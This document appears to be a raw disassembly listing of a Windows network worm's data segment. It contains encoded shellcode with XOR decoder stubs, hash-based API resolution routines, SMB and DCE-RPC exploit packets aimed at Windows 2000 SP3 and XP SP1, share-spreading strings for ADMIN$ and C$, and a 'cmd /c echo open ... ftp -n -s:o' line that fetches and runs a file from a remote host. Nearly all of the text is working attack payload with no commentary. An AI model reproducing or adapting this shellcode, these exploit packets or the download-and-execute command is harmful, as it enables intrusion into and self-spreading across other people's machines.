; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4462A3:				; CODE XREF: seg002:004462E6j
		push	es
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_4462A8:				; CODE XREF: seg002:loc_4462A0j
					; DATA XREF: sub_40C5EF+118o
		jmp	short loc_4462AD
; ---------------------------------------------------------------------------


loc_4462AA:				; CODE XREF: seg002:loc_4462ADp
		pop	ebp
		jmp	short loc_4462B2
; ---------------------------------------------------------------------------


loc_4462AD:				; CODE XREF: seg002:loc_4462A8j
		call	loc_4462AA


loc_4462B2:				; CODE XREF: seg002:004462ABj
		mov	eax, ebp
		add	eax, 11h
		xor	ecx, ecx
		mov	cx, 1C9h	; CODE XREF: seg002:004462D8j


loc_4462BD:				; CODE XREF: seg002:004462C1j
		xor	byte ptr [eax],	88h
		inc	eax
		loop	loc_4462BD
		fld	qword ptr [ebx]
		add	edi, fs:[ecx+ecx+64h]
		or	[eax-3B9F7778h], cl
		mov	[eax+74CE0188h], ecx


loc_4462D6:				; CODE XREF: seg002:loc_4462D6j
		ja	short loc_4462D6
		jz	short near ptr loc_4462B9+1
		push	es
		mov	byte ptr [esi-76269F9Ch], 88h
		mov	[ecx], al
		into
		dec	esi
		loopne	loc_4462A3
		mov	edx, 0FFE08888h
		sti
		mov	edx, 0DE77DCD7h
		dec	esi
		add	esi, ecx
		jo	short loc_44636F
; ---------------------------------------------------------------------------
		dd 25E074FEh, 60468D51h, 888889B8h, 775ACE01h, 0FAE074FEh
		dd 609E3B76h, 888889A8h, 7746CE01h, 67E074FEh, 60E86846h
		dd 88888998h, 7742CE01h, 43E070FEh, 60B37465h
		db 88h,	89h, 88h
; ---------------------------------------------------------------------------


loc_446333:				; CODE XREF: seg002:loc_4463A7j
		mov	[ecx], al
		into
		jl	short loc_4463AF
; ---------------------------------------------------------------------------
		db 0FEh, 70h, 0E0h
; ---------------------------------------------------------------------------


loc_44633B:				; CODE XREF: seg002:00446359j
		push	ecx
		cmp	dword ptr [ebp+25h], 88887860h
		mov	[ecx], al
		into
		js	short loc_4463BF
; ---------------------------------------------------------------------------
		db 0FEh, 70h, 0E0h
; ---------------------------------------------------------------------------


loc_44634B:				; CODE XREF: seg002:00446369j
		sub	al, 92h
		clc
		dec	edi
		pusha
		push	1888888h
		into
		db	64h		; CODE XREF: seg002:00446356j
		ja	short near ptr loc_446356+1
		jo	short loc_44633B


loc_44635B:				; CODE XREF: seg002:00446379j
		sub	al, 25h
		cmpsb
		popa
		pusha
		pop	eax
		mov	[eax+60CE0188h], cl


loc_446367:				; CODE XREF: seg002:loc_446367j
		ja	short loc_446367
		jo	short loc_44634B
		insd
		ror	dword ptr [esi], 0C1h


loc_44636F:				; CODE XREF: seg002:004462F6j
		pusha
		dec	eax
		mov	[eax+6ACE0188h], cl


loc_446377:				; CODE XREF: seg002:loc_446377j
		ja	short loc_446377
		jo	short loc_44635B
		outsd
		icebp
		dec	esi
		icebp
		pusha


loc_446380:				; CODE XREF: seg002:004463A0j
		cmp	[eax-31FE7778h], cl
		pop	esi
		mov	ebx, 7C640977h
		mov	[eax-761F2378h], ecx


loc_446392:				; CODE XREF: seg002:loc_4463B2j
					; seg002:004463B7j
		mov	[eax+7CDE7788h], ecx
		fcomp	st
		fcomp	st
		enter	0FFFFC8D8h, 0D8h ; CODE	XREF: seg002:loc_4463BFj
		ja	short loc_446380
		js	short loc_4463A7
		push	eax
		fstp9	st(7)


loc_4463A7:				; CODE XREF: seg002:004463A2j
		loopne	loc_446333
		mov	[ebx-1DBBFC91h], ch


loc_4463AF:				; CODE XREF: seg002:00446336j
		sahf
		fstp1	st(3)


loc_4463B2:				; CODE XREF: seg002:004463E4j
		ja	short loc_446392


loc_4463B4:				; CODE XREF: seg002:004463C6j
		db	64h
		fstp9	st(3)
		ja	short near ptr loc_446392+5
		pusha
		mov	ebx, 0DBD9DF77h


loc_4463BF:				; CODE XREF: seg002:00446346j
		ja	short near ptr loc_44639C+3
		push	3
		pop	eax
		add	esi, ecx
		db	36h		; CODE XREF: seg002:0044640Dj
		loopne	loc_4463B4
		in	eax, 0ECh
		mov	[ecx], al
		out	dx, al
		dec	edx
		or	ecx, [esp+5]
		mov	ah, 0ACh
		mov	ebx, 841BB48h
		dec	ecx
		popf
		and	ebp, [edx+75h]
		dec	esi
		int	3		; Trap to Debugger
		lodsb
		cwde
		int	3		; Trap to Debugger
		jbe	short loc_4463B2
		lodsb
		mov	ch, 1
		fsubr	qword ptr [eax+eax*8-3B5323FFh]	; CODE XREF: seg002:0044640Fj
		add	esp, ebx
		lodsb
		fadd	dword ptr ds:0DC98ACCCh
		fcomp	st(1)
		fstp1	st(1)
		leave
		fld	st(1)
		fstp1	st(1)


loc_446402:				; CODE XREF: seg002:loc_446402j
		ja	short loc_446402
		dec	edx
		fnstenv	byte ptr [edi-22h]
		inc	esi
		add	eax, [edx+77h]
		ja	short near ptr loc_4463C6+2
		ja	short near ptr loc_4463E9+6
		pop	edx
		add	eax, [eax+77h]
; ---------------------------------------------------------------------------
		db 0FEh, 36h, 77h
		dd 16635EDEh, 0DE9CDE77h, 88B829ECh, 0C8038888h, 94F80384h
		dd 80C80325h, 888C4AD6h, 0DFDEDDDBh, 90ACE403h,	3B4CD03h
		dd 8BF08DDCh, 90C2035Dh, 8BA8D203h, 0C1BA6B55h,	8B03BC03h
		dd 7477BB7Dh, 0B22448BBh, 498FFC4Ch, 708B8547h,	0F4B37A63h
		dd 69FD9CACh, 8BACD203h, 8403EE55h, 94D203C3h, 8C03558Bh
		dd 634D8B03h, 348BB8Ah,	0D5D6D75Dh, 888C4AD3h
dword_44648C	dd 280004h, 10h, 4 dup(0)		dd 5A7B91F8h, 11D0FF00h, 0C000B2A9h, 0FCE6B64Fh, 0FFFFFFFFh
		dd 68736942h, 326B656Bh, 0FF333030h, 0
		dd 1, 0
		dd 0FFFF0000h, 0FFFFFFFFh, 0FFFFh, 0
aWindows2000Sp3	db 'Windows 2000 SP 3 (en)',0 ; DATA XREF: seg000:0040C497o
		align 4
aWindowsXpSp1En	db 'Windows XP SP 1 (en)',0 ; DATA XREF: seg000:0040C4B0o
		align 10h
dword_446510	dd 0FFFFFFFFh, 0		dd 0FFFFFFFFh, 0
aNetmaniac	db 'NETMANIAC',0        ; DATA XREF: sub_40C5EF+1Eo
		align 4
aAdik		db 'ADIK',0             ; DATA XREF: sub_40C5EF+2Ao
		align 4
byte_446534	db 5 dup(90h)		; DATA XREF: sub_40C5EF+35o
; ---------------------------------------------------------------------------
		jmp	short loc_44653E

; =============== S U B	R O U T	I N E =======================================



sub_44653B	proc near		; CODE XREF: sub_44653B:loc_44653Ep
		pop	eax
		jmp	short loc_446543
; ---------------------------------------------------------------------------


loc_44653E:				; CODE XREF: seg002:00446539j
		call	sub_44653B


loc_446543:				; CODE XREF: sub_44653B+1j
		mov	ecx, 0FFFFFFFFh
		sub	ecx, 0FFFFEE7Fh
		sub	eax, ecx
		jmp	eax
sub_44653B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
byte_446554	db 4 dup(90h)		; DATA XREF: sub_40C5EF+45o
		dd 909010EBh, 90909090h, 0
aMessage	db '*** MESSAGE ***',0  ; DATA XREF: sub_40C5EF+51o
aMsgBodySizeD	db '[*] Msg body size: %d',0Ah,0 ; DATA XREF: sub_40C5EF+177o
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CA75+B2o
		align 4
dword_446598	dd 10FF8h, 0	dword_4465A0	dd 10FF8h	dword_4465A4	dd 7FFDF020h, 0	dword_4465AC	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_446634	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_446664	dd 0				dd 800000D4h, 0
unk_446670	db  81h	; 		; DATA XREF: sub_40CF79+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_4466BC	db 41h			; DATA XREF: sub_40D017+FFr
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_446700	proc near		; DATA XREF: seg000:0040D2CEo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4467FC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_446812
		mov	[esi+8], eax
		call	sub_4467C5
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_446812
		mov	[esi+0Ch], eax
		call	sub_446777
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_446812
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_446700	endp


; =============== S U B	R O U T	I N E =======================================



sub_446777	proc near		; CODE XREF: sub_446700+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4467A0
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_446777	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4467A0	proc near		; CODE XREF: sub_446777+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4467AF:				; CODE XREF: sub_4467A0+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4467BC
		inc	ebx
		jmp	short loc_4467AF
; ---------------------------------------------------------------------------


loc_4467BC:				; CODE XREF: sub_4467A0+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4467A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4467C5	proc near		; CODE XREF: sub_446700+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4467DD:				; CODE XREF: sub_4467C5+1Ej
		cmp	[ecx], ebx
		jz	short loc_4467E5
		mov	ecx, [ecx]
		jmp	short loc_4467DD
; ---------------------------------------------------------------------------


loc_4467E5:				; CODE XREF: sub_4467C5+1Aj
		mov	edx, edi


loc_4467E7:				; CODE XREF: sub_4467C5+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4467F1
		mov	edx, [edx+4]
		jmp	short loc_4467E7
; ---------------------------------------------------------------------------


loc_4467F1:				; CODE XREF: sub_4467C5+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4467C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4467FC	proc near		; CODE XREF: sub_446700+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4467FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_446812	proc near		; CODE XREF: sub_446700+16p
					; sub_446700+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_446828:				; CODE XREF: sub_446812+33j
		jecxz	short loc_446862
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_446835:				; CODE XREF: sub_446812+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_446841
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_446835
; ---------------------------------------------------------------------------


loc_446841:				; CODE XREF: sub_446812+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_446828
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_446862:				; CODE XREF: sub_446812:loc_446828j
					; sub_446812:loc_446862j
		jmp	short loc_446862
sub_446812	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_446868	proc near		; DATA XREF: seg000:0040D27Co

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_4468BA
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_446885:				; CODE XREF: sub_446868+38j
		jecxz	short loc_4468B5
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_446890:				; CODE XREF: sub_446868+32j
		lodsb
		test	al, al
		jz	short loc_44689C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_446890
; ---------------------------------------------------------------------------


loc_44689C:				; CODE XREF: sub_446868+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_446885
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_4468B5:				; CODE XREF: sub_446868:loc_446885j
		mov	[esp+arg_0], ebx
		retn
sub_446868	endp


; =============== S U B	R O U T	I N E =======================================



sub_4468BA	proc near		; CODE XREF: sub_446868+7p

; FUNCTION CHUNK AT 004468F2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4468D3
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4468DE
; ---------------------------------------------------------------------------


loc_4468D3:				; CODE XREF: sub_4468BA+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4468DE:				; CODE XREF: sub_4468BA+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4468F2
sub_4468BA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4468E5	proc near		; CODE XREF: sub_4468BA:loc_4468F2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4468E5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4468BA


loc_4468F2:				; CODE XREF: sub_4468BA+29j
		call	sub_4468E5


loc_4468F7:				; DATA XREF: sub_40CA1A+1Bo
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_4468BA
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_4468FC:				; DATA XREF: sub_40CA75+E8o
		jmp	short near ptr dword_446904
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_446904	dd 0		aCccc		db 'CCCC',0             ; DATA XREF: sub_40CA75+153o
		align 10h
dword_446910	dd 3		dword_446914	dd 0A1h		dword_446918	dd 30h		dword_44691C	dd 62B0606h, 2050501h, 0A0hdword_446928	dd 60h		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: seg000:0040D2A3o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_446990	dd 1000005h, 10h, 418h,	0		dd 400h, 90000h, 3 dup(1), 2 dup(3), 2,	7E4h, 0
		dd 7E4h, 53004Fh, 3Ah
off_4469D4	dd offset dword_50005C	; DATA XREF: seg000:0040DE30o
		dd offset word_490052
		dd offset loc_410054+2
		dd offset word_450054
		unicode	0, <$\>,0
		align 4
dword_4469EC	dd 5, 10h, 418h, 0		dd 400h, 90000h, 0
dword_446A08	dd 2000005h, 10h, 404h,	0		dd 3ECh, 90000h, 0
; ---------------------------------------------------------------------------


loc_446A24:				; DATA XREF: seg000:0040DE7Co
		jmp	short loc_446A2E
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4014E9
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_446A2E:				; CODE XREF: seg002:loc_446A24j
		nop
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_446A3E
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4014E9
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_446A3E:				; CODE XREF: seg002:00446A34j
		jmp	short loc_446A5A
; ---------------------------------------------------------------------------
		dd 6F684041h, 6F657375h, 62616466h, 41487375h, 909006EBh
		dd 100124Dh
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_446A5A:				; CODE XREF: seg002:loc_446A3Ej
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dw 0
dword_446A60	dd 0E983C929h, 0D9EED9B0h, 5BF42474h; ---------------------------------------------------------------------------


loc_446A6C:				; CODE XREF: seg002:00446A76j
		xor	dword ptr [ebx+13h], 3704F519h
		sub	ebx, 0FFFFFFFCh
		loop	loc_446A6C
; ---------------------------------------------------------------------------
		dd 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh,	32787E25h
		dd 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h,	0AEC4C4F7h
		dd 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h,	688F106Ch
		dd 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah, 5618D175h
		dd 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h,	0B96CAB11h
		dd 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h, 0E7FBA146h
		dd 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h, 0C8069F4Ch
		dd 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah,	0E7FBA65Ah
		db 7Fh,	9Dh
word_446B1A	dw 551Ah		; DATA XREF: seg000:0040DEB6w
		dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
		dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh,	67D20A4Eh
		dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
		dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
		dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h,	0C81246E7h
		dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h,	9A6C25E6h
		dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
		dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h,	0
dword_446BBC	dd 5C5Ch	dword_446BC0	dd 5Ch		dword_446BC4	dd 696D6461h, 246Eha8a885d041ceb11	db '8a885d04-1ceb-11c9-9fe8-08002b104860',0 ; DATA XREF: sub_40DBFE+Co
		align 4
aFdb3a030065f11	db 'fdb3a030-065f-11d1-bb9b-00a024ea5525',0 ; DATA XREF: seg000:0040DD22o
		align 4
aAdminSystem32	db 'Admin$\system32',0  ; DATA XREF: seg000:0040DFD4o
aCWinntSystem32	db 'c$\winnt\system32',0 ; DATA XREF: seg000:0040DFDBo
		align 10h
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: seg000:loc_40DFE2o
aC_0:					; DATA XREF: seg000:0040DFE9o
		unicode	0, <c>,0
aD:					; DATA XREF: seg000:0040DFF0o
		unicode	0, <d>,0
aSSS_1		db '%s\%s\%s',0         ; DATA XREF: seg000:0040E03Fo
		align 4
aNoPassword	db '(no password)',0    ; DATA XREF: seg000:0040E163o
		align 4
unk_446C78	db    2			; DATA XREF: seg000:0040E18Ao
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 65h, 74h		; CODE XREF: sub_446CDE:loc_446CF3j
		db    2
		db 62h,	2, 69h
		db  1Fh
		db 6Fh,	1Fh, 73h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ExploitingIpS	db '2 Exploiting IP: %s, Share: \%s, User: (%s/%s)',0
aS_31		db '\\%s',0             ; DATA XREF: sub_40E268+15o
		align 4
aSIpc		db '%s\ipc$',0          ; DATA XREF: sub_40E268+59o
; ---------------------------------------------------------------------------


loc_446CDC:				; DATA XREF: seg000:0040E59Co
					; seg000:0040E675o
		jmp	short loc_446CEE

; =============== S U B	R O U T	I N E =======================================



sub_446CDE	proc near		; CODE XREF: sub_446CDE:loc_446CEEp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_446CE6:				; CODE XREF: sub_446CDE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_446CE6
		jmp	short loc_446CF3
; ---------------------------------------------------------------------------


loc_446CEE:				; CODE XREF: seg002:loc_446CDCj
		call	sub_446CDE


loc_446CF3:				; CODE XREF: sub_446CDE+Ej
		jo	short near ptr byte_446C89+1
		cwde
		cdq
		cdq
		retn
sub_446CDE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_446D8C	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: seg000:0040E4C8o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_446E74	dd 600EBh	dword_446E78	dd 0FFF83FE9h, 0FFhoff_446E80	dd offset loc_43001D+4	; DATA XREF: seg000:0040E647o
		dd 770032h
dword_446E88	dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0					; seg000:0040E805o
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2
dword_446ED0	dd 3000005h, 10h, 0D20h, 1, 0D08h, 90000h, 419h, 0
					; DATA XREF: seg000:0040E5D4o
		dd 419h
dword_446EF4	dd 3000005h, 10h, 1520h, 1, 1508h, 90000h, 819h, 0
					; DATA XREF: seg000:0040E504o
		dd 819h
dword_446F18	dd 0BAADh, 40000h, 0		dd 40000h, 430000h, 5C003Ah, 40000h, 0
		dd 40000h, 430000h, 5C003Ah, 40000h, 0
		dd 40000h, 430000h, 5C003Ah, 8080000h, 130079h,	0
		dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh,	610062h
		dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 8500000h
		dd 0B0079h, 0
		dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh,	4C0042h
		dd 41h,	6C68BAADh, 0F0B60013h, 24E563BBh, 5FD45F0Fh, 0DF7B4444h
		dd 0DA1E42A2h, 0F84FBDC6h, 0CC7B2D6Dh, 0F6DAFABFh, 9957C071h
		dd 410B1AEBh, 46F69CCBh, 2E0CCA98h, 0FEE65D4Fh,	0BCE2FD34h
		dd 14772D1h, 0DDAFF5E1h, 276A0160h, 26F6C036h, 909C988Bh
		dd 2383541Fh, 0FF78501Dh, 0BC6FC3A9h, 7AEDEAD6h, 0D33E15C9h
		dd 18924307h, 84B743A3h, 99912670h, 6AFBAC10h, 0FAF6373Fh
		dd 232A7A8h, 0C47B323Ah, 2F373822h, 0FBB32D08h,	0AB0316D8h
		dd 0D2B7ACC5h, 0AB285C9Eh, 54F58E7Eh, 1EF0BFA3h, 0FC370693h
		dd 0B6B21CD0h, 0B35B23D5h, 3BD4E764h, 0BD1FE911h, 6696F5C8h
		dd 0C7D84740h, 56F525C2h, 0B1E658D7h, 85459C41h, 0CF5515B8h
		dd 1B99583Eh, 0E479E2EFh, 0F5B9A1AFh, 5BADB1C4h, 0FCB06DFh
		dd 6FF714h, 0F450AEC3h,	0BE20C3AFh, 1D9B9B89h, 902F08B5h
		dd 0B593A29Ch, 0AD3EB99h, 65BD84B4h, 0DCF9C147h, 4FB358D5h
		dd 1F051851h, 665F64B7h, 4F7D2E50h, 0FD32403Ah,	0CAA2048Eh
		dd 0E8ECD048h, 1C68BE70h, 0C1F22032h, 2C20A9E2h, 0AFD8F043h
		dd 0AD2A81EFh, 39300457h, 0ACBB45F6h, 54D49701h, 16DF66BFh
		dd 4B670129h, 856AA3B8h, 0A04D2B42h, 0B6FB0C9Bh, 81BDC57Ch
		dd 0D9741A3Eh, 584B13DFh, 0EACF0598h, 9CEBFF61h, 3FEC7886h
		dd 3FD3839h, 8BC57D88h,	1615362Dh, 3C94E81Bh, 10890BE9h
		dd 1114E699h, 2F8C54Fh,	0B195A1B8h, 0F62BCF58h,	3F3E17B2h
		dd 0E2DE4865h, 0B8E74DAEh, 0BFFADE91h, 0E6463Ch, 0A37E40A4h
		dd 0A0A1DE35h, 15EBF902h, 27A4A30h, 3A2DE938h, 942C18F3h
		dd 35F74713h, 0A03749A7h, 0BFAA1B98h, 0E3028BF5h, 6A5444F4h
		dd 0BF8D9185h, 0C24CE40Ch, 8239677Fh, 4B0E4B66h, 0ACA84C34h
		dd 51110F0Ah, 0A35A3E7Bh, 0F24626FBh, 6D3BAF84h, 81774A00h
		dd 0B7DB7009h, 0A2EFECF5h, 110328F8h, 1D3D93ADh, 4FC3D6ACh
		dd 7382EFFAh, 7B7D0CAh,	6E901B06h, 0F0B60013h, 24E563BBh
		dd 5AB55F0Fh, 0EA2829F2h, 9F08AC70h, 7E92BB80h,	0E2F4253Ch
		dd 91578ABFh, 0D28AC0F1h, 423A4F01h, 0C35570EEh, 70C4C75h
		dd 0DFA846FFh, 684519A9h, 17172D0h, 0DDAF22E1h,	9CE4A188h
		dd 15F6C071h, 891109F0h, 53830A1Fh, 6C4E501Dh, 0BC6F6409h
		dd 3F57EAAEh, 0D33E15B4h, 0ED924307h, 84B75E17h, 36912673h
		dd 92FBFC09h, 0FAEA348Ah, 0BB32A7A8h, 0C47B3235h, 2F37282Ah
		dd 0FBB32D08h, 0ABDB16D8h, 3B7ACC5h, 0ABD95C0Bh, 54F58E7Eh
		dd 1EF0BFA3h, 0FC37145Ch, 0B6B21CFBh, 0B3BE90D5h, 0A1D4E764h
		dd 0BD1FE911h, 6696F5C8h, 8BD84740h, 56F5258Dh,	0B1E658D7h
		dd 46039C41h, 0CF551570h, 1B99583Eh, 0E415E2EFh, 0F5FEA1AFh
